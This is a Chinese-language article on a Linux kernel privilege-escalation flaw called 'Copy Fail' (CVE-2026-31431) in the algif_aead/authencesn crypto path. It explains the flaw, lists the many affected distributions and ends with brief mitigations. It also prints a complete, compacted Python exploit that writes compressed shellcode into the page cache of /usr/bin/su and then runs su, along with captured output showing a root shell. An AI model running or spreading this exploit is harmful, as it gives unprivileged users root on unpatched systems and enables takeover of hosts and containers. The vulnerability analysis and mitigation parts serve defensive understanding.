Copy Fail 并非传统意义上的内存破坏漏洞（如堆溢出、UAF），而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点：

2017年，内核开发者为提升 AEAD 操作性能，引入了一项原地优化：当源数据与目标数据位于同一内存区域时，避免不必要的内存拷贝。这本是一个性能优化，却埋下了一颗逻辑炸弹。

在 algif_aead 模块处理 AEAD 解密时，内核会构建两个散列表（Scatter-Gather List）：

• TX SGL（发送散列表）：存放待解密的密文；

• DST SGL（目标散列表）：存放解密后的明文。

正常情况下，DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许：当检测到"原地操作"条件时，直接将页缓存（Page Cache）页面链接到 DST SGL 的可写链表中。

攻击数据流：4字节精准注入

sendmsg(AAD)              splice(目标文件)       │                          │       ▼                          ▼  ┌──────────┐   sg_chain    ┌──────────────────┐  │ RX缓冲区 │──────────────▶│   页缓存页面      │  │  8字节   │               │ （如 /usr/bin/su）│  └──────────┘               └──────────────────┘                                    ▲                                    │                         authencesn 在此写入 seqno_lo                         偏移 = assoclen + cryptlen                         ════ 漏洞触发点 ════

具体步骤如下：

1. 创建加密套接字：调用 socket(AF_ALG, ...) 创建 AEAD 套接字，绑定 authencesn(hmac(sha256),cbc(aes)) 算法；

2. 注入页缓存：通过 splice() 将目标文件（如 /usr/bin/su）的页缓存页面零拷贝到套接字的发送端；

3. 构造AAD：通过 sendmsg() + MSG_MORE 发送关联认证数据（AAD），其中包含攻击者完全可控的 4字节 seqno_lo；

4. 触发越界写：内核在处理 AEAD 解密时，将 seqno_lo 写入 DST SGL 的 assoclen + cryptlen 偏移处。由于 DST SGL 已链接到页缓存页面，这4字节直接落入了只读文件的页缓存中；

5. HMAC校验失败：由于数据被篡改，HMAC 校验必然失败，内核返回 EBADMSG 错误。但此时页缓存已被污染，且磁盘上的文件原封不动

影响范围：几乎全军覆没

受影响的内核版本

受影响的发行版

包括但不限于：

• Ubuntu：16.04/18.04/20.04/22.04/24.04 LTS 等

• Red Hat：RHEL 8/9/10，CentOS Stream，Fedora

• Debian：Debian 9/10/11/12

• SUSE：SLES 15, openSUSE Leap/Tumbleweed

• Arch Linux

• Amazon Linux 2/2023

• Alpine Linux（容器基础镜像！）

执行命令python3  copy_fail_exp.py

#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

复现效果

[*] CVE-2026-31431 'Copy Fail' Exploit[*] Universal Linux kernel privilege escalation[*] Target binary: /usr/bin/su[*] Testing for vulnerability...[+] System appears vulnerable![+] Opened /usr/bin/su (fd=3)[+] File size: 56944 bytes[+] Shellcode size: 160 bytes[+] Patching file in page cache...    Written 160/160 bytes...[+] Page cache patching complete!# whoamiroot# iduid=0(root) gid=0(root) groups=0(root)

⚠️ RHEL 9 用户注意：algif_aead 在 RHEL 9 中为内置模块（built-in），无法通过 rmmod 卸载，必须等待内核补丁或采用方案B。

方案B：限制 AF_ALG 套接字

通过 seccomp、SELinux、AppArmor 或容器安全策略，禁止不可信工作负载访问 AF_ALG 接口：

方案C：监控异常 splice + AF_ALG 组合

长期修复：升级内核